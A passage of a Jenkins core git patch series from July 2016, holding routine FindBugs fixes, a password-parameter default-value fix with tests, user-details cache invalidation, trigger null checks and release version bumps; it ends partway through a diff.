8c7355042e98a0366d454fc244c53c913f369a1c Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 16 Jul 2016 02:53:02 +0300 Subject: [PATCH 079/811] FindBugs: Fix real issue with a method contract violation in ListViewColumn defaults retrieval --- core/src/main/java/hudson/views/ListViewColumn.java | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/views/ListViewColumn.java b/core/src/main/java/hudson/views/ListViewColumn.java index 4fd010d861..b5b4b62f9f 100644 --- a/core/src/main/java/hudson/views/ListViewColumn.java +++ b/core/src/main/java/hudson/views/ListViewColumn.java @@ -41,6 +41,7 @@ import java.util.ArrayList; import java.util.List; import java.util.logging.Level; import java.util.logging.Logger; +import net.sf.json.JSONObject; /** * Extension point for adding a column to a table rendering of {@link Item}s, such as {@link ListView}. @@ -125,14 +126,14 @@ public abstract class ListViewColumn implements ExtensionPoint, Describable r = new ArrayList(); - + final JSONObject emptyJSON = new JSONObject(); for (Descriptor d : ListViewColumn.all()) try { if (d instanceof ListViewColumnDescriptor) { ListViewColumnDescriptor ld = (ListViewColumnDescriptor) d; if (!ld.shownByDefault()) continue; // skip this } - ListViewColumn lvc = d.newInstance(null, null); + ListViewColumn lvc = d.newInstance(null, emptyJSON); if (!lvc.shownByDefault()) continue; // skip this r.add(lvc); -- GitLab From a13301804fd1c57d13539a5b68175393696f12b9 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 16 Jul 2016 02:57:42 +0300 Subject: [PATCH 080/811] FindBugs: Suppress FB unchecked cast warning in ToolDescriptor@getInstallations() --- core/src/main/java/hudson/tools/ToolDescriptor.java | 1 + 1 file changed, 1 insertion(+) diff --git a/core/src/main/java/hudson/tools/ToolDescriptor.java b/core/src/main/java/hudson/tools/ToolDescriptor.java index 641400f454..056c56cc07 100644 --- a/core/src/main/java/hudson/tools/ToolDescriptor.java +++ b/core/src/main/java/hudson/tools/ToolDescriptor.java @@ -59,6 +59,7 @@ public abstract class ToolDescriptor extends Descrip * @return read-only list of installations; * can be empty but never null. */ + @SuppressWarnings("unchecked") public T[] getInstallations() { if (installations != null) return installations.clone(); -- GitLab From 6b89ce4a3367b917130848fbbf4f397d27db062c Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 16 Jul 2016 03:00:21 +0300 Subject: [PATCH 081/811] FindBugs: Suppress MS_SHOULD_BE_REFACTORED_TO_BE_FINAL in JnlpSlaveAgentProtocol3#Enabled --- core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java | 3 +++ 1 file changed, 3 insertions(+) diff --git a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java index 00ae97001d..8174f841cc 100644 --- a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java +++ b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java @@ -1,5 +1,6 @@ package jenkins.slaves; +import edu.umd.cs.findbugs.annotations.SuppressFBWarnings; import hudson.AbortException; import hudson.Extension; import hudson.Util; @@ -124,6 +125,8 @@ public class JnlpSlaveAgentProtocol3 extends AgentProtocol { * an escape hatch for those who hit any issues and those who are trying this out. */ @Restricted(NoExternalUse.class) + @SuppressFBWarnings(value = "MS_SHOULD_BE_REFACTORED_TO_BE_FINAL", + justification = "Part of the administrative API for System Groovy scripts.") public static boolean ENABLED; static { -- GitLab From e682e2b9b8b8988f01c124a009ce3b1da4304521 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 16 Jul 2016 03:03:44 +0300 Subject: [PATCH 082/811] FindBugs: Avoid boxing/unboxing of Integer in Job#getDynamic() --- core/src/main/java/hudson/model/Job.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/Job.java b/core/src/main/java/hudson/model/Job.java index bd890b7a0a..f66ef21095 100644 --- a/core/src/main/java/hudson/model/Job.java +++ b/core/src/main/java/hudson/model/Job.java @@ -816,7 +816,7 @@ public abstract class Job, RunT extends Run Date: Sat, 16 Jul 2016 03:07:15 +0300 Subject: [PATCH 083/811] FindBugs: Synchronize ListView#jobNames access in readResolve (should be harmless) --- core/src/main/java/hudson/model/ListView.java | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/model/ListView.java b/core/src/main/java/hudson/model/ListView.java index b69eb72226..9f172dde4f 100644 --- a/core/src/main/java/hudson/model/ListView.java +++ b/core/src/main/java/hudson/model/ListView.java @@ -129,8 +129,10 @@ public class ListView extends View implements DirectlyModifiableView { OldDataMonitor.report(this, Collections.singleton(x)); } } - if (jobNames == null) { - jobNames = new TreeSet(CaseInsensitiveComparator.INSTANCE); + synchronized(this) { + if (jobNames == null) { + jobNames = new TreeSet(CaseInsensitiveComparator.INSTANCE); + } } initColumns(); initJobFilters(); -- GitLab From 7d5a2e3f367499af6f3be3fb4fe9137d8d00e053 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 16 Jul 2016 22:14:16 +0300 Subject: [PATCH 084/811] [JENKINS-36592] Prevent NPE in BlockedBecauseOfBuildInProgress#getDescription() (#2448) * [JENKINS-36592] Prevent NPE in BlockedBecauseOfBuildInProgress#getDescription() in the case of race condition * [JENKINS-36592] - Address comments from @jglick * [JENKINS-36592] - Fix wording. Attempt #2 --- core/src/main/java/hudson/model/AbstractProject.java | 12 ++++++++++-- .../model/BlockedBecauseOfBuildInProgress.java | 8 +++++++- 2 files changed, 17 insertions(+), 3 deletions(-) diff --git a/core/src/main/java/hudson/model/AbstractProject.java b/core/src/main/java/hudson/model/AbstractProject.java index 8dab4cb80c..2c2fe31c76 100644 --- a/core/src/main/java/hudson/model/AbstractProject.java +++ b/core/src/main/java/hudson/model/AbstractProject.java @@ -1105,7 +1105,7 @@ public abstract class AbstractProject

,R extends A */ @Deprecated public static class BecauseOfBuildInProgress extends BlockedBecauseOfBuildInProgress { - public BecauseOfBuildInProgress(AbstractBuild build) { + public BecauseOfBuildInProgress(@Nonnull AbstractBuild build) { super(build); } } @@ -1146,7 +1146,15 @@ public abstract class AbstractProject

,R extends A public CauseOfBlockage getCauseOfBlockage() { // Block builds until they are done with post-production if (isLogUpdated() && !isConcurrentBuild()) { - return new BlockedBecauseOfBuildInProgress(getLastBuild()); + final R lastBuild = getLastBuild(); + if (lastBuild != null) { + return new BlockedBecauseOfBuildInProgress(lastBuild); + } else { + // The build has been likely deleted after the isLogUpdated() call. + // Another cause may be an API implemetation glitсh in the implementation for AbstractProject. + // Anyway, we should let the code go then. + LOGGER.log(Level.FINE, "The last build has been deleted during the non-concurrent cause creation. The build is not blocked anymore"); + } } if (blockBuildWhenDownstreamBuilding()) { AbstractProject bup = getBuildingDownstream(); diff --git a/core/src/main/java/jenkins/model/BlockedBecauseOfBuildInProgress.java b/core/src/main/java/jenkins/model/BlockedBecauseOfBuildInProgress.java index f55537c2ca..9abdd8fa88 100644 --- a/core/src/main/java/jenkins/model/BlockedBecauseOfBuildInProgress.java +++ b/core/src/main/java/jenkins/model/BlockedBecauseOfBuildInProgress.java @@ -28,6 +28,7 @@ import hudson.model.Executor; import hudson.model.Job; import hudson.model.Run; import hudson.model.queue.CauseOfBlockage; +import javax.annotation.Nonnull; /** * Indicates that a new build is blocked because the previous build is already in progress. @@ -36,9 +37,14 @@ import hudson.model.queue.CauseOfBlockage; */ public class BlockedBecauseOfBuildInProgress extends CauseOfBlockage { + @Nonnull private final Run build; - public BlockedBecauseOfBuildInProgress(Run build) { + /** + * Creates a cause for the specified build. + * @param build Build, which is already in progress + */ + public BlockedBecauseOfBuildInProgress(@Nonnull Run build) { this.build = build; } -- GitLab From c31392d1401a45e8e9df4b91b2445cb4b1901f4d Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Sat, 16 Jul 2016 15:14:48 -0400 Subject: [PATCH 085/811] [JENKINS-36476] Underprivileged users could not use the default value of a password parameter (#2454) * [FIXED JENKINS-36476] Do not even send the default password in encrypted form; leave the text field blank, and apply the default upon submission. * [JENKINS-36476] Use a special token, not the empty string, as the marker for the default value. --- core/src/main/java/hudson/Functions.java | 3 +- .../model/PasswordParameterDefinition.java | 7 +++ .../PasswordParameterDefinition/index.jelly | 2 +- .../PasswordParameterDefinitionTest.java | 56 +++++++++++++++++++ 4 files changed, 66 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/Functions.java b/core/src/main/java/hudson/Functions.java index e2e7e7ce69..85a148595f 100644 --- a/core/src/main/java/hudson/Functions.java +++ b/core/src/main/java/hudson/Functions.java @@ -154,6 +154,7 @@ import org.kohsuke.stapler.jelly.InternationalizedStringExpression.RawHtmlArgume import com.google.common.base.Predicate; import com.google.common.base.Predicates; +import hudson.model.PasswordParameterDefinition; import hudson.util.RunList; import java.util.concurrent.atomic.AtomicLong; import javax.annotation.CheckForNull; @@ -1779,7 +1780,7 @@ public class Functions { } return ((Secret) o).getEncryptedValue(); } - if (getIsUnitTest()) { + if (getIsUnitTest() && !o.equals(PasswordParameterDefinition.DEFAULT_VALUE)) { throw new SecurityException("attempted to render plaintext ‘" + o + "’ in password field; use a getter of type Secret instead"); } return o.toString(); diff --git a/core/src/main/java/hudson/model/PasswordParameterDefinition.java b/core/src/main/java/hudson/model/PasswordParameterDefinition.java index f4cad5a8c3..f3dfe79356 100644 --- a/core/src/main/java/hudson/model/PasswordParameterDefinition.java +++ b/core/src/main/java/hudson/model/PasswordParameterDefinition.java @@ -31,6 +31,7 @@ import hudson.Extension; import hudson.util.Secret; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.DoNotUse; +import org.kohsuke.accmod.restrictions.NoExternalUse; /** * Parameter whose value is a {@link Secret} and is hidden from the UI. @@ -40,6 +41,9 @@ import org.kohsuke.accmod.restrictions.DoNotUse; */ public class PasswordParameterDefinition extends SimpleParameterDefinition { + @Restricted(NoExternalUse.class) + public static final String DEFAULT_VALUE = ""; + private Secret defaultValue; @DataBoundConstructor @@ -66,6 +70,9 @@ public class PasswordParameterDefinition extends SimpleParameterDefinition { @Override public PasswordParameterValue createValue(StaplerRequest req, JSONObject jo) { PasswordParameterValue value = req.bindJSON(PasswordParameterValue.class, jo); + if (value.getValue().getPlainText().equals(DEFAULT_VALUE)) { + value = new PasswordParameterValue(getName(), getDefaultValue()); + } value.setDescription(getDescription()); return value; } diff --git a/core/src/main/resources/hudson/model/PasswordParameterDefinition/index.jelly b/core/src/main/resources/hudson/model/PasswordParameterDefinition/index.jelly index 9bac23608c..81b8c0190a 100644 --- a/core/src/main/resources/hudson/model/PasswordParameterDefinition/index.jelly +++ b/core/src/main/resources/hudson/model/PasswordParameterDefinition/index.jelly @@ -29,7 +29,7 @@ THE SOFTWARE.

- +
\ No newline at end of file diff --git a/test/src/test/java/hudson/model/PasswordParameterDefinitionTest.java b/test/src/test/java/hudson/model/PasswordParameterDefinitionTest.java index 8b4dcb2906..2129c9fce9 100644 --- a/test/src/test/java/hudson/model/PasswordParameterDefinitionTest.java +++ b/test/src/test/java/hudson/model/PasswordParameterDefinitionTest.java @@ -24,10 +24,18 @@ package hudson.model; +import com.gargoylesoftware.htmlunit.html.HtmlForm; +import com.gargoylesoftware.htmlunit.html.HtmlPasswordInput; +import hudson.Launcher; +import java.io.IOException; +import jenkins.model.Jenkins; import static org.junit.Assert.assertEquals; import org.junit.Rule; import org.junit.Test; +import org.jvnet.hudson.test.Issue; import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.MockAuthorizationStrategy; +import org.jvnet.hudson.test.TestBuilder; public class PasswordParameterDefinitionTest { @@ -40,4 +48,52 @@ public class PasswordParameterDefinitionTest { assertEquals("s3cr3t", ((PasswordParameterDefinition) p.getProperty(ParametersDefinitionProperty.class).getParameterDefinition("p")).getDefaultValue()); } + @Issue("JENKINS-36476") + @Test public void defaultValueAlwaysAvailable() throws Exception { + j.jenkins.setSecurityRealm(j.createDummySecurityRealm()); + j.jenkins.setAuthorizationStrategy(new MockAuthorizationStrategy(). + grant(Jenkins.ADMINISTER).everywhere().to("admin"). + grant(Jenkins.READ, Item.READ, Item.BUILD).everywhere().to("dev")); + FreeStyleProject p = j.createFreeStyleProject(); + p.addProperty(new ParametersDefinitionProperty(new PasswordParameterDefinition("secret", "s3cr3t", ""))); + p.getBuildersList().add(new TestBuilder() { + @Override public boolean perform(AbstractBuild build, Launcher launcher, BuildListener listener) throws InterruptedException, IOException { + listener.getLogger().println("I heard about a " + build.getEnvironment(listener).get("secret") + "!"); + return true; + } + }); + JenkinsRule.WebClient wc = j.createWebClient(); + wc.getOptions().setThrowExceptionOnFailingStatusCode(false); // ParametersDefinitionProperty/index.jelly sends a 405 but really it is OK + // Control case: admin can use default value. + j.submit(wc.login("admin").getPage(p, "build?delay=0sec").getFormByName("parameters")); + j.waitUntilNoActivity(); + FreeStyleBuild b1 = p.getLastBuild(); + assertEquals(1, b1.getNumber()); + j.assertLogContains("I heard about a s3cr3t!", j.assertBuildStatusSuccess(b1)); + // Another control case: anyone can enter a different value. + HtmlForm form = wc.login("dev").getPage(p, "build?delay=0sec").getFormByName("parameters"); + HtmlPasswordInput input = form.getInputByName("value"); + input.setText("rumor"); + j.submit(form); + j.waitUntilNoActivity(); + FreeStyleBuild b2 = p.getLastBuild(); + assertEquals(2, b2.getNumber()); + j.assertLogContains("I heard about a rumor!", j.assertBuildStatusSuccess(b2)); + // Test case: anyone can use default value. + j.submit(wc.login("dev").getPage(p, "build?delay=0sec").getFormByName("parameters")); + j.waitUntilNoActivity(); + FreeStyleBuild b3 = p.getLastBuild(); + assertEquals(3, b3.getNumber()); + j.assertLogContains("I heard about a s3cr3t!", j.assertBuildStatusSuccess(b3)); + // Another control case: blank values. + form = wc.login("dev").getPage(p, "build?delay=0sec").getFormByName("parameters"); + input = form.getInputByName("value"); + input.setText(""); + j.submit(form); + j.waitUntilNoActivity(); + FreeStyleBuild b4 = p.getLastBuild(); + assertEquals(4, b4.getNumber()); + j.assertLogContains("I heard about a !", j.assertBuildStatusSuccess(b4)); + } + } -- GitLab From 3e3a48ee993e7ece5c4793e7af719095bfd90093 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 17 Jul 2016 14:02:51 +0300 Subject: [PATCH 086/811] Noting #2443, #2420, #2408, #2433, #2450, #2449, #2448, #2454 --- changelog.html | 31 +++++++++++++++++++++++++++---- 1 file changed, 27 insertions(+), 4 deletions(-) diff --git a/changelog.html b/changelog.html index ff2228d6f8..5ea6ba9aaa 100644 --- a/changelog.html +++ b/changelog.html @@ -56,13 +56,36 @@ Upcoming changes

What's new in 2.13 (2016/07/10)

-- GitLab From 3fdc58e39d6469c28fba53be9966d68cdf570d04 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 17 Jul 2016 13:57:07 -0700 Subject: [PATCH 087/811] [maven-release-plugin] prepare release jenkins-2.14 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 85514610ff..bab2088db9 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.14-SNAPSHOT + 2.14 cli diff --git a/core/pom.xml b/core/pom.xml index 34a6bafa58..f2eea6ddb9 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.14-SNAPSHOT + 2.14 jenkins-core diff --git a/pom.xml b/pom.xml index 12fa507560..185f8a0429 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.14-SNAPSHOT + 2.14 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.14 diff --git a/test/pom.xml b/test/pom.xml index ce6913134f..0e68ef8b3b 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.14-SNAPSHOT + 2.14 test diff --git a/war/pom.xml b/war/pom.xml index 2ce00c402c..adf3d028b2 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.14-SNAPSHOT + 2.14 jenkins-war -- GitLab From 9b3785b36c049e0f891738adef959be9c5b955a6 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 17 Jul 2016 13:57:07 -0700 Subject: [PATCH 088/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index bab2088db9..7fca7c71d6 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.14 + 2.15-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index f2eea6ddb9..c8c368b0c4 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.14 + 2.15-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 185f8a0429..2ee0f0b833 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.14 + 2.15-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.14 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 0e68ef8b3b..05cbb181db 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.14 + 2.15-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index adf3d028b2..3490b4a3ae 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.14 + 2.15-SNAPSHOT jenkins-war -- GitLab From 64270cc2ab9d19e9954017d9ac2afd88a9c13c44 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 17 Jul 2016 14:03:11 -0700 Subject: [PATCH 089/811] updated changelog for release --- changelog.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 5ea6ba9aaa..08a7506891 100644 --- a/changelog.html +++ b/changelog.html @@ -55,6 +55,11 @@ Upcoming changes +

What's new in 2.14 (2016/07/17)

  • Minor optimization in calculation of recent build stability health report. @@ -87,7 +92,6 @@ Upcoming changes Developer API: Usage of ItemCategory#MIN_TOSHOW in external plugins is now restricted. (issue 36593)
-

What's new in 2.13 (2016/07/10)

  • -- GitLab From 1231d8213994b2b02211a297262e3bbf8076c670 Mon Sep 17 00:00:00 2001 From: Robert Sandell Date: Mon, 18 Jul 2016 12:03:23 +0200 Subject: [PATCH 090/811] Invalidate the key in existanceCache instead of setting null --- core/src/main/java/jenkins/security/UserDetailsCache.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/jenkins/security/UserDetailsCache.java b/core/src/main/java/jenkins/security/UserDetailsCache.java index 71a3db8402..f4bda59e47 100644 --- a/core/src/main/java/jenkins/security/UserDetailsCache.java +++ b/core/src/main/java/jenkins/security/UserDetailsCache.java @@ -182,7 +182,7 @@ public final class UserDetailsCache { existanceCache.put(this.idOrFullName, Boolean.FALSE); throw e; } catch (DataAccessException e) { - existanceCache.put(this.idOrFullName, null); //TODO verify this is the correct way + existanceCache.invalidate(this.idOrFullName); throw e; } } -- GitLab From 5005026b66170cba8c6c42be8fda79801b812703 Mon Sep 17 00:00:00 2001 From: Robert Sandell Date: Mon, 18 Jul 2016 18:13:46 +0200 Subject: [PATCH 091/811] Invalidate user details cache when user is removed --- core/src/main/java/hudson/model/User.java | 1 + 1 file changed, 1 insertion(+) diff --git a/core/src/main/java/hudson/model/User.java b/core/src/main/java/hudson/model/User.java index e811b9bfdd..fb80976ab9 100644 --- a/core/src/main/java/hudson/model/User.java +++ b/core/src/main/java/hudson/model/User.java @@ -752,6 +752,7 @@ public class User extends AbstractModelObject implements AccessControlled, Descr byNameLock.readLock().unlock(); } Util.deleteRecursive(new File(getRootDir(), strategy.filenameOf(id))); + UserDetailsCache.get().invalidate(strategy.keyFor(id)); } /** -- GitLab From 082e22c81c55f71ffcb50c3524c603b9b7678e3d Mon Sep 17 00:00:00 2001 From: Robert Sandell Date: Tue, 19 Jul 2016 11:47:42 +0200 Subject: [PATCH 092/811] Invalidate UserDetailsCache on user rekey and reload --- core/src/main/java/hudson/model/User.java | 2 ++ 1 file changed, 2 insertions(+) diff --git a/core/src/main/java/hudson/model/User.java b/core/src/main/java/hudson/model/User.java index fb80976ab9..47f965e054 100644 --- a/core/src/main/java/hudson/model/User.java +++ b/core/src/main/java/hudson/model/User.java @@ -581,6 +581,7 @@ public class User extends AbstractModelObject implements AccessControlled, Descr } } finally { byNameLock.readLock().unlock(); + UserDetailsCache.get().invalidateAll(); } } @@ -614,6 +615,7 @@ public class User extends AbstractModelObject implements AccessControlled, Descr } } finally { byNameLock.writeLock().unlock(); + UserDetailsCache.get().invalidateAll(); } } -- GitLab From 6c5fbf000886a3e997410f01d9efd8d963f21834 Mon Sep 17 00:00:00 2001 From: Antonio Muniz Date: Tue, 19 Jul 2016 13:15:06 +0200 Subject: [PATCH 093/811] Update since tags for Item Categorization API (#2465) --- .../main/java/hudson/model/TopLevelItemDescriptor.java | 8 ++++---- .../model/item_category/StandaloneProjectsCategory.java | 2 ++ 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/hudson/model/TopLevelItemDescriptor.java b/core/src/main/java/hudson/model/TopLevelItemDescriptor.java index aa6a2835b1..f53306d1b2 100644 --- a/core/src/main/java/hudson/model/TopLevelItemDescriptor.java +++ b/core/src/main/java/hudson/model/TopLevelItemDescriptor.java @@ -139,7 +139,7 @@ public abstract class TopLevelItemDescriptor extends Descriptor { * * @return A string, by default the value from newInstanceDetail view is taken. * - * @since TODO + * @since 2.0 */ @Nonnull public String getDescription() { @@ -171,7 +171,7 @@ public abstract class TopLevelItemDescriptor extends Descriptor { * * @return A string with the category identifier, {@link ItemCategory.UncategorizedCategory#getId()} by default. * - * @since TODO + * @since 2.0 */ @Nonnull public String getCategoryId() { @@ -188,7 +188,7 @@ public abstract class TopLevelItemDescriptor extends Descriptor { * * @return A string or null if it is not defined. * - * @since TODO + * @since 2.0 */ @CheckForNull public String getIconFilePathPattern() { @@ -202,7 +202,7 @@ public abstract class TopLevelItemDescriptor extends Descriptor { * * @return A string or null if it is not defined. * - * @since TODO + * @since 2.0 */ @CheckForNull public String getIconFilePath(String size) { diff --git a/core/src/main/java/jenkins/model/item_category/StandaloneProjectsCategory.java b/core/src/main/java/jenkins/model/item_category/StandaloneProjectsCategory.java index d1e5479bff..cf6d0daeaf 100644 --- a/core/src/main/java/jenkins/model/item_category/StandaloneProjectsCategory.java +++ b/core/src/main/java/jenkins/model/item_category/StandaloneProjectsCategory.java @@ -28,6 +28,8 @@ import hudson.Extension; /** * Designed for projects with a self-contained configuration and history. + * + * @since 2.0 */ @Extension(ordinal = -100) public class StandaloneProjectsCategory extends ItemCategory { -- GitLab From 642138dd3405958002329c129f1c75e978bb172d Mon Sep 17 00:00:00 2001 From: Robert Sandell Date: Tue, 19 Jul 2016 15:38:09 +0200 Subject: [PATCH 094/811] Invalidate UserDetailsCache when User.fullName changes --- core/src/main/java/hudson/model/User.java | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/User.java b/core/src/main/java/hudson/model/User.java index 47f965e054..1cf1ffdf8b 100644 --- a/core/src/main/java/hudson/model/User.java +++ b/core/src/main/java/hudson/model/User.java @@ -772,7 +772,7 @@ public class User extends AbstractModelObject implements AccessControlled, Descr checkPermission(Jenkins.ADMINISTER); JSONObject json = req.getSubmittedForm(); - + String oldFullName = this.fullName; fullName = json.getString("fullName"); description = json.getString("description"); @@ -798,6 +798,10 @@ public class User extends AbstractModelObject implements AccessControlled, Descr save(); + if (oldFullName != null && !oldFullName.equals(this.fullName)) { + UserDetailsCache.get().invalidate(oldFullName); + } + FormApply.success(".").generateResponse(req,rsp,this); } -- GitLab From a4a1847d74280c46a6566d7966d7fdbc60ff8e2e Mon Sep 17 00:00:00 2001 From: Robert Sandell Date: Tue, 19 Jul 2016 17:58:03 +0200 Subject: [PATCH 095/811] Remove API restriction on UserDetailsCache Followup to #2446 to remove the API restriction so that the first fix can potentially be picked for LTS while this stays in the weekly release. --- core/src/main/java/jenkins/security/UserDetailsCache.java | 1 - 1 file changed, 1 deletion(-) diff --git a/core/src/main/java/jenkins/security/UserDetailsCache.java b/core/src/main/java/jenkins/security/UserDetailsCache.java index f4bda59e47..be6e2d20b6 100644 --- a/core/src/main/java/jenkins/security/UserDetailsCache.java +++ b/core/src/main/java/jenkins/security/UserDetailsCache.java @@ -50,7 +50,6 @@ import static com.google.common.cache.CacheBuilder.newBuilder; * @since TODO */ @Extension -@Restricted(NoExternalUse.class) //TODO Keep for LTS, Remove when in weekly public final class UserDetailsCache { private static final String SYS_PROP_NAME = UserDetailsCache.class.getName() + ".EXPIRE_AFTER_WRITE_SEC"; -- GitLab From 40687bdc2268a117c40d8224ed6a7857b9af14b4 Mon Sep 17 00:00:00 2001 From: Felix Belzunce Arcos Date: Wed, 20 Jul 2016 13:54:17 +0200 Subject: [PATCH 096/811] [JENKINS-36748] Do not process null Triggers (#2463) * [JENKINS-36748] Not process null Triggers * [JENKINS-36748] Specify job * [JENKINS-36748] Correctly check NullPointerException --- .../main/java/hudson/triggers/Trigger.java | 30 +++++++++++-------- 1 file changed, 17 insertions(+), 13 deletions(-) diff --git a/core/src/main/java/hudson/triggers/Trigger.java b/core/src/main/java/hudson/triggers/Trigger.java index c528983085..c05a4490ce 100644 --- a/core/src/main/java/hudson/triggers/Trigger.java +++ b/core/src/main/java/hudson/triggers/Trigger.java @@ -94,7 +94,7 @@ public abstract class Trigger implements Describable> } catch (ANTLRException e) { // this shouldn't fail because we've already parsed stuff in the constructor, // so if it fails, use whatever 'tabs' that we already have. - LOGGER.log(Level.FINE, "Failed to parse crontab spec: "+spec,e); + LOGGER.log(Level.WARNING, String.format("Failed to parse crontab spec %s in job %s", spec, project.getFullName()), e); } } @@ -264,20 +264,24 @@ public abstract class Trigger implements Describable> // Process all triggers, except SCMTriggers when synchronousPolling is set for (ParameterizedJobMixIn.ParameterizedJob p : inst.getAllItems(ParameterizedJobMixIn.ParameterizedJob.class)) { for (Trigger t : p.getTriggers().values()) { - if (! (t instanceof SCMTrigger && scmd.synchronousPolling)) { - LOGGER.log(Level.FINE, "cron checking {0} with spec ‘{1}’", new Object[] {p, t.spec.trim()}); - - if (t.tabs.check(cal)) { - LOGGER.log(Level.CONFIG, "cron triggered {0}", p); - try { - t.run(); - } catch (Throwable e) { - // t.run() is a plugin, and some of them throw RuntimeException and other things. - // don't let that cancel the polling activity. report and move on. - LOGGER.log(Level.WARNING, t.getClass().getName() + ".run() failed for " + p, e); + if (!(t instanceof SCMTrigger && scmd.synchronousPolling)) { + if (t !=null && t.spec != null && t.tabs != null) { + LOGGER.log(Level.FINE, "cron checking {0} with spec ‘{1}’", new Object[]{p, t.spec.trim()}); + + if (t.tabs.check(cal)) { + LOGGER.log(Level.CONFIG, "cron triggered {0}", p); + try { + t.run(); + } catch (Throwable e) { + // t.run() is a plugin, and some of them throw RuntimeException and other things. + // don't let that cancel the polling activity. report and move on. + LOGGER.log(Level.WARNING, t.getClass().getName() + ".run() failed for " + p, e); + } + } else { + LOGGER.log(Level.FINER, "did not trigger {0}", p); } } else { - LOGGER.log(Level.FINER, "did not trigger {0}", p); + LOGGER.log(Level.WARNING, "The job {0} has a syntactically incorrect config and is missing the cron spec for a trigger", p.getFullName()); } } } -- GitLab From 4ed803cea2944e5f83c12e681066e772cceb6107 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 20 Jul 2016 07:55:42 -0400 Subject: [PATCH 097/811] [JENKINS-36666] Defend against some fatal startup errors (#2453) * [JENKINS-36666] Properly report the reason for a failed call to Task.getDisplayName. * [JENKINS-36666] Even without passing fatal=false to @Initializer, recover gracefully from a LinkageError in a task. * Comment. --- core/src/main/java/hudson/PluginManager.java | 2 +- .../main/java/jenkins/InitReactorRunner.java | 19 ++++++++++++++--- core/src/main/java/jenkins/model/Jenkins.java | 21 +++++++++++++++---- 3 files changed, 34 insertions(+), 8 deletions(-) diff --git a/core/src/main/java/hudson/PluginManager.java b/core/src/main/java/hudson/PluginManager.java index d9a4686c26..5dba092cfc 100644 --- a/core/src/main/java/hudson/PluginManager.java +++ b/core/src/main/java/hudson/PluginManager.java @@ -465,7 +465,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas if(p.isActive()) activePlugins.add(p); } - } catch (CycleDetectedException e) { + } catch (CycleDetectedException e) { // TODO this should be impossible, since we override reactOnCycle to not throw the exception stop(); // disable all plugins since classloading from them can lead to StackOverflow throw e; // let Hudson fail } diff --git 